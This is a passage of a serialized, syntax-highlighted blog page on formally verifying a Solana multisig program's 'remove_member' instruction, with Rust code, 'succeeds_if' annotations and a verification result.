},\n",{"type":24,"tag":90,"props":27192,"children":27193},{"class":92,"line":615},[27194,27199,27203,27208,27212,27216],{"type":24,"tag":90,"props":27195,"children":27196},{"style":136},[27197],{"type":29,"value":27198}," info",{"type":24,"tag":90,"props":27200,"children":27201},{"style":120},[27202],{"type":29,"value":78},{"type":24,"tag":90,"props":27204,"children":27205},{"style":146},[27206],{"type":29,"value":27207}," AccountInfo",{"type":24,"tag":90,"props":27209,"children":27210},{"style":114},[27211],{"type":29,"value":1196},{"type":24,"tag":90,"props":27213,"children":27214},{"style":120},[27215],{"type":29,"value":3013},{"type":24,"tag":90,"props":27217,"children":27218},{"style":114},[27219],{"type":29,"value":27220}," },\n",{"type":24,"tag":90,"props":27222,"children":27223},{"class":92,"line":623},[27224],{"type":24,"tag":90,"props":27225,"children":27226},{"style":114},[27227],{"type":29,"value":827},{"type":24,"tag":25,"props":27229,"children":27230},{},[27231,27233,27238,27240,27245],{"type":29,"value":27232},"Here we see that the ",{"type":24,"tag":32,"props":27234,"children":27236},{"className":27235},[],[27237],{"type":29,"value":24546},{"type":29,"value":27239}," of the newly created ",{"type":24,"tag":32,"props":27241,"children":27243},{"className":27242},[],[27244],{"type":29,"value":24538},{"type":29,"value":27246}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":24,"tag":1019,"props":27248,"children":27250},{"id":27249},"verify-requirements-to-remove-a-member",[27251],{"type":29,"value":24576},{"type":24,"tag":25,"props":27253,"children":27254},{},[27255,27257,27262,27263,27268,27270,27276],{"type":29,"value":27256},"Now that we've seen both ",{"type":24,"tag":32,"props":27258,"children":27260},{"className":27259},[],[27261],{"type":29,"value":21950},{"type":29,"value":13360},{"type":24,"tag":32,"props":27264,"children":27266},{"className":27265},[],[27267],{"type":29,"value":23574},{"type":29,"value":27269}," let's take a look at the ",{"type":24,"tag":32,"props":27271,"children":27273},{"className":27272},[],[27274],{"type":29,"value":27275},"remove_member",{"type":29,"value":27277}," function:",{"type":24,"tag":80,"props":27279,"children":27281},{"code":27280,"language":84,"meta":7,"className":82,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n #[account(mut)]\n multisig: Box\u003CAccount\u003C'info, Ms>>,\n #[account(\n mut,\n seeds = [\n b\"squad\",\n multisig.create_key.as_ref(),\n b\"multisig\"\n ], bump = multisig.bump\n )]\n pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n // if there is only one key in this multisig, reject the removal\n if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n }\n ctx.accounts.multisig.remove_member(old_member)?;\n\n // if the number of keys is now less than the threshold, adjust it\n if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n ctx.accounts.multisig.change_threshold(new_threshold)?;\n }\n let new_index = ctx.accounts.multisig.transaction_index;\n ctx.accounts.multisig.set_change_index(new_index)\n}\n",[27282],{"type":24,"tag":32,"props":27283,"children":27284},{"__ignoreMap":7},[27285,27308,27336,27351,27396,27403,27415,27431,27443,27469,27477,27506,27513,27545,27552,27559,27633,27641,27701,27733,27740,27791,27798,27806,27899,27988,28042,28049,28094,28139],{"type":24,"tag":90,"props":27286,"children":27287},{"class":92,"line":93},[27288,27292,27296,27300,27304],{"type":24,"tag":90,"props":27289,"children":27290},{"style":114},[27291],{"type":29,"value":24634},{"type":24,"tag":90,"props":27293,"children":27294},{"style":146},[27295],{"type":29,"value":24639},{"type":24,"tag":90,"props":27297,"children":27298},{"style":114},[27299],{"type":29,"value":133},{"type":24,"tag":90,"props":27301,"children":27302},{"style":146},[27303],{"type":29,"value":26519},{"type":24,"tag":90,"props":27305,"children":27306},{"style":114},[27307],{"type":29,"value":22054},{"type":24,"tag":90,"props":27309,"children":27310},{"class":92,"line":200},[27311,27315,27319,27324,27328,27332],{"type":24,"tag":90,"props":27312,"children":27313},{"style":97},[27314],{"type":29,"value":100},{"type":24,"tag":90,"props":27316,"children":27317},{"style":97},[27318],{"type":29,"value":22947},{"type":24,"tag":90,"props":27320,"children":27321},{"style":146},[27322],{"type":29,"value":27323}," MsAuth",{"type":24,"tag":90,"props":27325,"children":27326},{"style":114},[27327],{"type":29,"value":24719},{"type":24,"tag":90,"props":27329,"children":27330},{"style":146},[27331],{"type":29,"value":24724},{"type":24,"tag":90,"props":27333,"children":27334},{"style":114},[27335],{"type":29,"value":197},{"type":24,"tag":90,"props":27337,"children":27338},{"class":92,"line":239},[27339,27343,27347],{"type":24,"tag":90,"props":27340,"children":27341},{"style":114},[27342],{"type":29,"value":24926},{"type":24,"tag":90,"props":27344,"children":27345},{"style":97},[27346],{"type":29,"value":371},{"type":24,"tag":90,"props":27348,"children":27349},{"style":114},[27350],{"type":29,"value":22054},{"type":24,"tag":90,"props":27352,"children":27353},{"class":92,"line":248},[27354,27359,27363,27368,27372,27376,27380,27384,27388,27392],{"type":24,"tag":90,"props":27355,"children":27356},{"style":136},[27357],{"type":29,"value":27358}," multisig",{"type":24,"tag":90,"props":27360,"children":27361},{"style":120},[27362],{"type":29,"value":78},{"type":24,"tag":90,"props":27364,"children":27365},{"style":146},[27366],{"type":29,"value":27367}," Box",{"type":24,"tag":90,"props":27369,"children":27370},{"style":114},[27371],{"type":29,"value":1575},{"type":24,"tag":90,"props":27373,"children":27374},{"style":146},[27375],{"type":29,"value":3667},{"type":24,"tag":90,"props":27377,"children":27378},{"style":114},[27379],{"type":29,"value":24719},{"type":24,"tag":90,"props":27381,"children":27382},{"style":146},[27383],{"type":29,"value":24724},{"type":24,"tag":90,"props":27385,"children":27386},{"style":114},[27387],{"type":29,"value":133},{"type":24,"tag":90,"props":27389,"children":27390},{"style":146},[27391],{"type":29,"value":24538},{"type":24,"tag":90,"props":27393,"children":27394},{"style":114},[27395],{"type":29,"value":9335},{"type":24,"tag":90,"props":27397,"children":27398},{"class":92,"line":258},[27399],{"type":24,"tag":90,"props":27400,"children":27401},{"style":114},[27402],{"type":29,"value":24736},{"type":24,"tag":90,"props":27404,"children":27405},{"class":92,"line":272},[27406,27411],{"type":24,"tag":90,"props":27407,"children":27408},{"style":97},[27409],{"type":29,"value":27410}," mut",{"type":24,"tag":90,"props":27412,"children":27413},{"style":114},[27414],{"type":29,"value":748},{"type":24,"tag":90,"props":27416,"children":27417},{"class":92,"line":281},[27418,27422,27426],{"type":24,"tag":90,"props":27419,"children":27420},{"style":114},[27421],{"type":29,"value":24820},{"type":24,"tag":90,"props":27423,"children":27424},{"style":120},[27425],{"type":29,"value":5491},{"type":24,"tag":90,"props":27427,"children":27428},{"style":114},[27429],{"type":29,"value":27430}," [\n",{"type":24,"tag":90,"props":27432,"children":27433},{"class":92,"line":384},[27434,27439],{"type":24,"tag":90,"props":27435,"children":27436},{"style":1085},[27437],{"type":29,"value":27438}," b\"squad\"",{"type":24,"tag":90,"props":27440,"children":27441},{"style":114},[27442],{"type":29,"value":748},{"type":24,"tag":90,"props":27444,"children":27445},{"class":92,"line":420},[27446,27451,27455,27460,27464],{"type":24,"tag":90,"props":27447,"children":27448},{"style":114},[27449],{"type":29,"value":27450}," multisig",{"type":24,"tag":90,"props":27452,"children":27453},{"style":120},[27454],{"type":29,"value":226},{"type":24,"tag":90,"props":27456,"children":27457},{"style":114},[27458],{"type":29,"value":27459},"create_key",{"type":24,"tag":90,"props":27461,"children":27462},{"style":120},[27463],{"type":29,"value":226},{"type":24,"tag":90,"props":27465,"children":27466},{"style":114},[27467],{"type":29,"value":27468},"as_ref(),\n",{"type":24,"tag":90,"props":27470,"children":27471},{"class":92,"line":428},[27472],{"type":24,"tag":90,"props":27473,"children":27474},{"style":1085},[27475],{"type":29,"value":27476}," b\"multisig\"\n",{"type":24,"tag":90,"props":27478,"children":27479},{"class":92,"line":437},[27480,27485,27490,27494,27498,27502],{"type":24,"tag":90,"props":27481,"children":27482},{"style":114},[27483],{"type":29,"value":27484}," ], ",{"type":24,"tag":90,"props":27486,"children":27487},{"style":136},[27488],{"type":29,"value":27489},"bump",{"type":24,"tag":90,"props":27491,"children":27492},{"style":120},[27493],{"type":29,"value":216},{"type":24,"tag":90,"props":27495,"children":27496},{"style":136},[27497],{"type":29,"value":24882},{"type":24,"tag":90,"props":27499,"children":27500},{"style":120},[27501],{"type":29,"value":226},{"type":24,"tag":90,"props":27503,"children":27504},{"style":114},[27505],{"type":29,"value":24862},{"type":24,"tag":90,"props":27507,"children":27508},{"class":92,"line":574},[27509],{"type":24,"tag":90,"props":27510,"children":27511},{"style":114},[27512],{"type":29,"value":24870},{"type":24,"tag":90,"props":27514,"children":27515},{"class":92,"line":606},[27516,27520,27525,27529,27533,27537,27541],{"type":24,"tag":90,"props":27517,"children":27518},{"style":97},[27519],{"type":29,"value":22639},{"type":24,"tag":90,"props":27521,"children":27522},{"style":136},[27523],{"type":29,"value":27524}," multisig_auth",{"type":24,"tag":90,"props":27526,"children":27527},{"style":120},[27528],{"type":29,"value":78},{"type":24,"tag":90,"props":27530,"children":27531},{"style":146},[27532],{"type":29,"value":24955},{"type":24,"tag":90,"props":27534,"children":27535},{"style":114},[27536],{"type":29,"value":24719},{"type":24,"tag":90,"props":27538,"children":27539},{"style":146},[27540],{"type":29,"value":24724},{"type":24,"tag":90,"props":27542,"children":27543},{"style":114},[27544],{"type":29,"value":8523},{"type":24,"tag":90,"props":27546,"children":27547},{"class":92,"line":615},[27548],{"type":24,"tag":90,"props":27549,"children":27550},{"style":114},[27551],{"type":29,"value":827},{"type":24,"tag":90,"props":27553,"children":27554},{"class":92,"line":623},[27555],{"type":24,"tag":90,"props":27556,"children":27557},{"emptyLinePlaceholder":16},[27558],{"type":29,"value":245},{"type":24,"tag":90,"props":27560,"children":27561},{"class":92,"line":632},[27562,27566,27570,27575,27579,27583,27587,27591,27595,27600,27604,27609,27613,27617,27621,27625,27629],{"type":24,"tag":90,"props":27563,"children":27564},{"style":97},[27565],{"type":29,"value":100},{"type":24,"tag":90,"props":27567,"children":27568},{"style":97},[27569],{"type":29,"value":105},{"type":24,"tag":90,"props":27571,"children":27572},{"style":108},[27573],{"type":29,"value":27574}," remove_member",{"type":24,"tag":90,"props":27576,"children":27577},{"style":114},[27578],{"type":29,"value":117},{"type":24,"tag":90,"props":27580,"children":27581},{"style":136},[27582],{"type":29,"value":22076},{"type":24,"tag":90,"props":27584,"children":27585},{"style":120},[27586],{"type":29,"value":78},{"type":24,"tag":90,"props":27588,"children":27589},{"style":146},[27590],{"type":29,"value":22085},{"type":24,"tag":90,"props":27592,"children":27593},{"style":114},[27594],{"type":29,"value":1575},{"type":24,"tag":90,"props":27596,"children":27597},{"style":146},[27598],{"type":29,"value":27599},"MsAuth",{"type":24,"tag":90,"props":27601,"children":27602},{"style":114},[27603],{"type":29,"value":9015},{"type":24,"tag":90,"props":27605,"children":27606},{"style":136},[27607],{"type":29,"value":27608},"old_member",{"type":24,"tag":90,"props":27610,"children":27611},{"style":120},[27612],{"type":29,"value":78},{"type":24,"tag":90,"props":27614,"children":27615},{"style":146},[27616],{"type":29,"value":22653},{"type":24,"tag":90,"props":27618,"children":27619},{"style":114},[27620],{"type":29,"value":172},{"type":24,"tag":90,"props":27622,"children":27623},{"style":120},[27624],{"type":29,"value":177},{"type":24,"tag":90,"props":27626,"children":27627},{"style":146},[27628],{"type":29,"value":182},{"type":24,"tag":90,"props":27630,"children":27631},{"style":114},[27632],{"type":29,"value":22127},{"type":24,"tag":90,"props":27634,"children":27635},{"class":92,"line":669},[27636],{"type":24,"tag":90,"props":27637,"children":27638},{"style":252},[27639],{"type":29,"value":27640}," // if there is only one key in this multisig, reject the removal\n",{"type":24,"tag":90,"props":27642,"children":27643},{"class":92,"line":683},[27644,27648,27653,27657,27661,27665,27669,27673,27677,27681,27685,27689,27693,27697],{"type":24,"tag":90,"props":27645,"children":27646},{"style":636},[27647],{"type":29,"value":639},{"type":24,"tag":90,"props":27649,"children":27650},{"style":136},[27651],{"type":29,"value":27652}," ctx",{"type":24,"tag":90,"props":27654,"children":27655},{"style":120},[27656],{"type":29,"value":226},{"type":24,"tag":90,"props":27658,"children":27659},{"style":114},[27660],{"type":29,"value":1165},{"type":24,"tag":90,"props":27662,"children":27663},{"style":120},[27664],{"type":29,"value":226},{"type":24,"tag":90,"props":27666,"children":27667},{"style":114},[27668],{"type":29,"value":25613},{"type":24,"tag":90,"props":27670,"children":27671},{"style":120},[27672],{"type":29,"value":226},{"type":24,"tag":90,"props":27674,"children":27675},{"style":114},[27676],{"type":29,"value":22779},{"type":24,"tag":90,"props":27678,"children":27679},{"style":120},[27680],{"type":29,"value":226},{"type":24,"tag":90,"props":27682,"children":27683},{"style":108},[27684],{"type":29,"value":11513},{"type":24,"tag":90,"props":27686,"children":27687},{"style":114},[27688],{"type":29,"value":495},{"type":24,"tag":90,"props":27690,"children":27691},{"style":120},[27692],{"type":29,"value":10951},{"type":24,"tag":90,"props":27694,"children":27695},{"style":349},[27696],{"type":29,"value":6909},{"type":24,"tag":90,"props":27698,"children":27699},{"style":114},[27700],{"type":29,"value":269},{"type":24,"tag":90,"props":27702,"children":27703},{"class":92,"line":737},[27704,27708,27712,27716,27720,27724,27729],{"type":24,"tag":90,"props":27705,"children":27706},{"style":636},[27707],{"type":29,"value":2253},{"type":24,"tag":90,"props":27709,"children":27710},{"style":108},[27711],{"type":29,"value":25316},{"type":24,"tag":90,"props":27713,"children":27714},{"style":114},[27715],{"type":29,"value":117},{"type":24,"tag":90,"props":27717,"children":27718},{"style":146},[27719],{"type":29,"value":25325},{"type":24,"tag":90,"props":27721,"children":27722},{"style":120},[27723],{"type":29,"value":1211},{"type":24,"tag":90,"props":27725,"children":27726},{"style":146},[27727],{"type":29,"value":27728},"CannotRemoveSoloMember",{"type":24,"tag":90,"props":27730,"children":27731},{"style":114},[27732],{"type":29,"value":571},{"type":24,"tag":90,"props":27734,"children":27735},{"class":92,"line":751},[27736],{"type":24,"tag":90,"props":27737,"children":27738},{"style":114},[27739],{"type":29,"value":612},{"type":24,"tag":90,"props":27741,"children":27742},{"class":92,"line":782},[27743,27747,27751,27755,27759,27763,27767,27771,27775,27779,27783,27787],{"type":24,"tag":90,"props":27744,"children":27745},{"style":136},[27746],{"type":29,"value":22019},{"type":24,"tag":90,"props":27748,"children":27749},{"style":120},[27750],{"type":29,"value":226},{"type":24,"tag":90,"props":27752,"children":27753},{"style":114},[27754],{"type":29,"value":1165},{"type":24,"tag":90,"props":27756,"children":27757},{"style":120},[27758],{"type":29,"value":226},{"type":24,"tag":90,"props":27760,"children":27761},{"style":114},[27762],{"type":29,"value":25613},{"type":24,"tag":90,"props":27764,"children":27765},{"style":120},[27766],{"type":29,"value":226},{"type":24,"tag":90,"props":27768,"children":27769},{"style":108},[27770],{"type":29,"value":27275},{"type":24,"tag":90,"props":27772,"children":27773},{"style":114},[27774],{"type":29,"value":117},{"type":24,"tag":90,"props":27776,"children":27777},{"style":136},[27778],{"type":29,"value":27608},{"type":24,"tag":90,"props":27780,"children":27781},{"style":114},[27782],{"type":29,"value":517},{"type":24,"tag":90,"props":27784,"children":27785},{"style":120},[27786],{"type":29,"value":714},{"type":24,"tag":90,"props":27788,"children":27789},{"style":114},[27790],{"type":29,"value":381},{"type":24,"tag":90,"props":27792,"children":27793},{"class":92,"line":791},[27794],{"type":24,"tag":90,"props":27795,"children":27796},{"emptyLinePlaceholder":16},[27797],{"type":29,"value":245},{"type":24,"tag":90,"props":27799,"children":27800},{"class":92,"line":799},[27801],{"type":24,"tag":90,"props":27802,"children":27803},{"style":252},[27804],{"type":29,"value":27805}," // if the number of keys is now less than the threshold, adjust it\n",{"type":24,"tag":90,"props":27807,"children":27808},{"class":92,"line":807},[27809,27813,27817,27821,27825,27829,27833,27837,27841,27845,27849,27854,27858,27862,27866,27870,27874,27878,27882,27886,27890,27894],{"type":24,"tag":90,"props":27810,"children":27811},{"style":636},[27812],{"type":29,"value":639},{"type":24,"tag":90,"props":27814,"children":27815},{"style":136},[27816],{"type":29,"value":27652},{"type":24,"tag":90,"props":27818,"children":27819},{"style":120},[27820],{"type":29,"value":226},{"type":24,"tag":90,"props":27822,"children":27823},{"style":114},[27824],{"type":29,"value":1165},{"type":24,"tag":90,"props":27826,"children":27827},{"style":120},[27828],{"type":29,"value":226},{"type":24,"tag":90,"props":27830,"children":27831},{"style":114},[27832],{"type":29,"value":25613},{"type":24,"tag":90,"props":27834,"children":27835},{"style":120},[27836],{"type":29,"value":226},{"type":24,"tag":90,"props":27838,"children":27839},{"style":114},[27840],{"type":29,"value":22779},{"type":24,"tag":90,"props":27842,"children":27843},{"style":120},[27844],{"type":29,"value":226},{"type":24,"tag":90,"props":27846,"children":27847},{"style":108},[27848],{"type":29,"value":11513},{"type":24,"tag":90,"props":27850,"children":27851},{"style":114},[27852],{"type":29,"value":27853},"() \u003C ",{"type":24,"tag":90,"props":27855,"children":27856},{"style":146},[27857],{"type":29,"value":3119},{"type":24,"tag":90,"props":27859,"children":27860},{"style":120},[27861],{"type":29,"value":1211},{"type":24,"tag":90,"props":27863,"children":27864},{"style":108},[27865],{"type":29,"value":21268},{"type":24,"tag":90,"props":27867,"children":27868},{"style":114},[27869],{"type":29,"value":117},{"type":24,"tag":90,"props":27871,"children":27872},{"style":136},[27873],{"type":29,"value":22076},{"type":24,"tag":90,"props":27875,"children":27876},{"style":120},[27877],{"type":29,"value":226},{"type":24,"tag":90,"props":27879,"children":27880},{"style":114},[27881],{"type":29,"value":1165},{"type":24,"tag":90,"props":27883,"children":27884},{"style":120},[27885],{"type":29,"value":226},{"type":24,"tag":90,"props":27887,"children":27888},{"style":114},[27889],{"type":29,"value":25613},{"type":24,"tag":90,"props":27891,"children":27892},{"style":120},[27893],{"type":29,"value":226},{"type":24,"tag":90,"props":27895,"children":27896},{"style":114},[27897],{"type":29,"value":27898},"threshold) {\n",{"type":24,"tag":90,"props":27900,"children":27901},{"class":92,"line":821},[27902,27906,27911,27915,27919,27923,27927,27931,27935,27939,27943,27947,27951,27955,27959,27963,27967,27972,27976,27980,27984],{"type":24,"tag":90,"props":27903,"children":27904},{"style":97},[27905],{"type":29,"value":287},{"type":24,"tag":90,"props":27907,"children":27908},{"style":136},[27909],{"type":29,"value":27910}," new_threshold",{"type":24,"tag":90,"props":27912,"children":27913},{"style":120},[27914],{"type":29,"value":78},{"type":24,"tag":90,"props":27916,"children":27917},{"style":146},[27918],{"type":29,"value":22826},{"type":24,"tag":90,"props":27920,"children":27921},{"style":120},[27922],{"type":29,"value":216},{"type":24,"tag":90,"props":27924,"children":27925},{"style":136},[27926],{"type":29,"value":27652},{"type":24,"tag":90,"props":27928,"children":27929},{"style":120},[27930],{"type":29,"value":226},{"type":24,"tag":90,"props":27932,"children":27933},{"style":114},[27934],{"type":29,"value":1165},{"type":24,"tag":90,"props":27936,"children":27937},{"style":120},[27938],{"type":29,"value":226},{"type":24,"tag":90,"props":27940,"children":27941},{"style":114},[27942],{"type":29,"value":25613},{"type":24,"tag":90,"props":27944,"children":27945},{"style":120},[27946],{"type":29,"value":226},{"type":24,"tag":90,"props":27948,"children":27949},{"style":114},[27950],{"type":29,"value":22779},{"type":24,"tag":90,"props":27952,"children":27953},{"style":120},[27954],{"type":29,"value":226},{"type":24,"tag":90,"props":27956,"children":27957},{"style":108},[27958],{"type":29,"value":11513},{"type":24,"tag":90,"props":27960,"children":27961},{"style":114},[27962],{"type":29,"value":314},{"type":24,"tag":90,"props":27964,"children":27965},{"style":120},[27966],{"type":29,"value":226},{"type":24,"tag":90,"props":27968,"children":27969},{"style":108},[27970],{"type":29,"value":27971},"try_into",{"type":24,"tag":90,"props":27973,"children":27974},{"style":114},[27975],{"type":29,"value":314},{"type":24,"tag":90,"props":27977,"children":27978},{"style":120},[27979],{"type":29,"value":226},{"type":24,"tag":90,"props":27981,"children":27982},{"style":108},[27983],{"type":29,"value":6053},{"type":24,"tag":90,"props":27985,"children":27986},{"style":114},[27987],{"type":29,"value":236},{"type":24,"tag":90,"props":27989,"children":27990},{"class":92,"line":6278},[27991,27996,28000,28004,28008,28012,28016,28021,28025,28030,28034,28038],{"type":24,"tag":90,"props":27992,"children":27993},{"style":136},[27994],{"type":29,"value":27995}," ctx",{"type":24,"tag":90,"props":27997,"children":27998},{"style":120},[27999],{"type":29,"value":226},{"type":24,"tag":90,"props":28001,"children":28002},{"style":114},[28003],{"type":29,"value":1165},{"type":24,"tag":90,"props":28005,"children":28006},{"style":120},[28007],{"type":29,"value":226},{"type":24,"tag":90,"props":28009,"children":28010},{"style":114},[28011],{"type":29,"value":25613},{"type":24,"tag":90,"props":28013,"children":28014},{"style":120},[28015],{"type":29,"value":226},{"type":24,"tag":90,"props":28017,"children":28018},{"style":108},[28019],{"type":29,"value":28020},"change_threshold",{"type":24,"tag":90,"props":28022,"children":28023},{"style":114},[28024],{"type":29,"value":117},{"type":24,"tag":90,"props":28026,"children":28027},{"style":136},[28028],{"type":29,"value":28029},"new_threshold",{"type":24,"tag":90,"props":28031,"children":28032},{"style":114},[28033],{"type":29,"value":517},{"type":24,"tag":90,"props":28035,"children":28036},{"style":120},[28037],{"type":29,"value":714},{"type":24,"tag":90,"props":28039,"children":28040},{"style":114},[28041],{"type":29,"value":381},{"type":24,"tag":90,"props":28043,"children":28044},{"class":92,"line":11420},[28045],{"type":24,"tag":90,"props":28046,"children":28047},{"style":114},[28048],{"type":29,"value":612},{"type":24,"tag":90,"props":28050,"children":28051},{"class":92,"line":11438},[28052,28056,28061,28065,28069,28073,28077,28081,28085,28089],{"type":24,"tag":90,"props":28053,"children":28054},{"style":97},[28055],{"type":29,"value":206},{"type":24,"tag":90,"props":28057,"children":28058},{"style":136},[28059],{"type":29,"value":28060}," new_index",{"type":24,"tag":90,"props":28062,"children":28063},{"style":120},[28064],{"type":29,"value":216},{"type":24,"tag":90,"props":28066,"children":28067},{"style":136},[28068],{"type":29,"value":27652},{"type":24,"tag":90,"props":28070,"children":28071},{"style":120},[28072],{"type":29,"value":226},{"type":24,"tag":90,"props":28074,"children":28075},{"style":114},[28076],{"type":29,"value":1165},{"type":24,"tag":90,"props":28078,"children":28079},{"style":120},[28080],{"type":29,"value":226},{"type":24,"tag":90,"props":28082,"children":28083},{"style":114},[28084],{"type":29,"value":25613},{"type":24,"tag":90,"props":28086,"children":28087},{"style":120},[28088],{"type":29,"value":226},{"type":24,"tag":90,"props":28090,"children":28091},{"style":114},[28092],{"type":29,"value":28093},"transaction_index;\n",{"type":24,"tag":90,"props":28095,"children":28096},{"class":92,"line":11483},[28097,28101,28105,28109,28113,28117,28121,28126,28130,28135],{"type":24,"tag":90,"props":28098,"children":28099},{"style":136},[28100],{"type":29,"value":22019},{"type":24,"tag":90,"props":28102,"children":28103},{"style":120},[28104],{"type":29,"value":226},{"type":24,"tag":90,"props":28106,"children":28107},{"style":114},[28108],{"type":29,"value":1165},{"type":24,"tag":90,"props":28110,"children":28111},{"style":120},[28112],{"type":29,"value":226},{"type":24,"tag":90,"props":28114,"children":28115},{"style":114},[28116],{"type":29,"value":25613},{"type":24,"tag":90,"props":28118,"children":28119},{"style":120},[28120],{"type":29,"value":226},{"type":24,"tag":90,"props":28122,"children":28123},{"style":108},[28124],{"type":29,"value":28125},"set_change_index",{"type":24,"tag":90,"props":28127,"children":28128},{"style":114},[28129],{"type":29,"value":117},{"type":24,"tag":90,"props":28131,"children":28132},{"style":136},[28133],{"type":29,"value":28134},"new_index",{"type":24,"tag":90,"props":28136,"children":28137},{"style":114},[28138],{"type":29,"value":1686},{"type":24,"tag":90,"props":28140,"children":28141},{"class":92,"line":11589},[28142],{"type":24,"tag":90,"props":28143,"children":28144},{"style":114},[28145],{"type":29,"value":827},{"type":24,"tag":25,"props":28147,"children":28148},{},[28149,28151,28156],{"type":29,"value":28150},"First let's establish the ",{"type":24,"tag":32,"props":28152,"children":28154},{"className":28153},[],[28155],{"type":29,"value":21950},{"type":29,"value":28157}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":24,"tag":80,"props":28159,"children":28161},{"code":28160,"language":84,"meta":7,"className":82,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[28162],{"type":24,"tag":32,"props":28163,"children":28164},{"__ignoreMap":7},[28165,28172,28219,28226],{"type":24,"tag":90,"props":28166,"children":28167},{"class":92,"line":93},[28168],{"type":24,"tag":90,"props":28169,"children":28170},{"style":114},[28171],{"type":29,"value":25920},{"type":24,"tag":90,"props":28173,"children":28174},{"class":92,"line":200},[28175,28179,28183,28187,28191,28195,28199,28203,28207,28211,28215],{"type":24,"tag":90,"props":28176,"children":28177},{"style":114},[28178],{"type":29,"value":22019},{"type":24,"tag":90,"props":28180,"children":28181},{"style":120},[28182],{"type":29,"value":226},{"type":24,"tag":90,"props":28184,"children":28185},{"style":114},[28186],{"type":29,"value":1165},{"type":24,"tag":90,"props":28188,"children":28189},{"style":120},[28190],{"type":29,"value":226},{"type":24,"tag":90,"props":28192,"children":28193},{"style":114},[28194],{"type":29,"value":25613},{"type":24,"tag":90,"props":28196,"children":28197},{"style":120},[28198],{"type":29,"value":226},{"type":24,"tag":90,"props":28200,"children":28201},{"style":114},[28202],{"type":29,"value":22779},{"type":24,"tag":90,"props":28204,"children":28205},{"style":120},[28206],{"type":29,"value":226},{"type":24,"tag":90,"props":28208,"children":28209},{"style":114},[28210],{"type":29,"value":22817},{"type":24,"tag":90,"props":28212,"children":28213},{"style":120},[28214],{"type":29,"value":12830},{"type":24,"tag":90,"props":28216,"children":28217},{"style":114},[28218],{"type":29,"value":21237},{"type":24,"tag":90,"props":28220,"children":28221},{"class":92,"line":239},[28222],{"type":24,"tag":90,"props":28223,"children":28224},{"style":114},[28225],{"type":29,"value":22054},{"type":24,"tag":90,"props":28227,"children":28228},{"class":92,"line":248},[28229,28233,28237,28241,28245,28249,28253],{"type":24,"tag":90,"props":28230,"children":28231},{"style":97},[28232],{"type":29,"value":22062},{"type":24,"tag":90,"props":28234,"children":28235},{"style":108},[28236],{"type":29,"value":27574},{"type":24,"tag":90,"props":28238,"children":28239},{"style":114},[28240],{"type":29,"value":117},{"type":24,"tag":90,"props":28242,"children":28243},{"style":120},[28244],{"type":29,"value":3013},{"type":24,"tag":90,"props":28246,"children":28247},{"style":114},[28248],{"type":29,"value":25797},{"type":24,"tag":90,"props":28250,"children":28251},{"style":120},[28252],{"type":29,"value":3013},{"type":24,"tag":90,"props":28254,"children":28255},{"style":114},[28256],{"type":29,"value":11967},{"type":24,"tag":25,"props":28258,"children":28259},{},[28260,28262,28267],{"type":29,"value":28261},"And for now let's remove the invariant on the ",{"type":24,"tag":32,"props":28263,"children":28265},{"className":28264},[],[28266],{"type":29,"value":24538},{"type":29,"value":28268}," account:",{"type":24,"tag":80,"props":28270,"children":28272},{"code":28271,"language":84,"meta":7,"className":82,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[28273],{"type":24,"tag":32,"props":28274,"children":28275},{"__ignoreMap":7},[28276,28284],{"type":24,"tag":90,"props":28277,"children":28278},{"class":92,"line":93},[28279],{"type":24,"tag":90,"props":28280,"children":28281},{"style":114},[28282],{"type":29,"value":28283},"#[invariant()]\n",{"type":24,"tag":90,"props":28285,"children":28286},{"class":92,"line":200},[28287,28291,28295,28299,28303,28307],{"type":24,"tag":90,"props":28288,"children":28289},{"style":97},[28290],{"type":29,"value":100},{"type":24,"tag":90,"props":28292,"children":28293},{"style":97},[28294],{"type":29,"value":22947},{"type":24,"tag":90,"props":28296,"children":28297},{"style":146},[28298],{"type":29,"value":22952},{"type":24,"tag":90,"props":28300,"children":28301},{"style":114},[28302],{"type":29,"value":1196},{"type":24,"tag":90,"props":28304,"children":28305},{"style":120},[28306],{"type":29,"value":3013},{"type":24,"tag":90,"props":28308,"children":28309},{"style":114},[28310],{"type":29,"value":11967},{"type":24,"tag":25,"props":28312,"children":28313},{},[28314],{"type":29,"value":28315},"Let's test this!",{"type":24,"tag":25,"props":28317,"children":28318},{},[28319,28321,28326],{"type":29,"value":28320},"Our ",{"type":24,"tag":32,"props":28322,"children":28324},{"className":28323},[],[28325],{"type":29,"value":21950},{"type":29,"value":28327}," harness produces:",{"type":24,"tag":80,"props":28329,"children":28331},{"code":28330},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[28332],{"type":24,"tag":32,"props":28333,"children":28334},{"__ignoreMap":7},[28335],{"type":29,"value":28330},{"type":24,"tag":25,"props":28337,"children":28338},{},[28339],{"type":29,"value":28340},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":24,"tag":25,"props":28342,"children":28343},{},[28344,28346,28351],{"type":29,"value":28345},"However, remember that since ",{"type":24,"tag":32,"props":28347,"children":28349},{"className":28348},[],[28350],{"type":29,"value":21950},{"type":29,"value":28352}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":24,"tag":25,"props":28354,"children":28355},{},[28356,28358,28363,28365,28370,28372,28377],{"type":29,"value":28357},"Suppose we want to be sure that this condition is the ",{"type":24,"tag":842,"props":28359,"children":28360},{},[28361],{"type":29,"value":28362},"only condition",{"type":29,"value":28364}," in which the function will succeed (i.e. ",{"type":24,"tag":842,"props":28366,"children":28367},{},[28368],{"type":29,"value":28369},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":29,"value":28371},"). We could attempt to verify the other side of this with an ",{"type":24,"tag":32,"props":28373,"children":28375},{"className":28374},[],[28376],{"type":29,"value":21957},{"type":29,"value":28378}," macro such 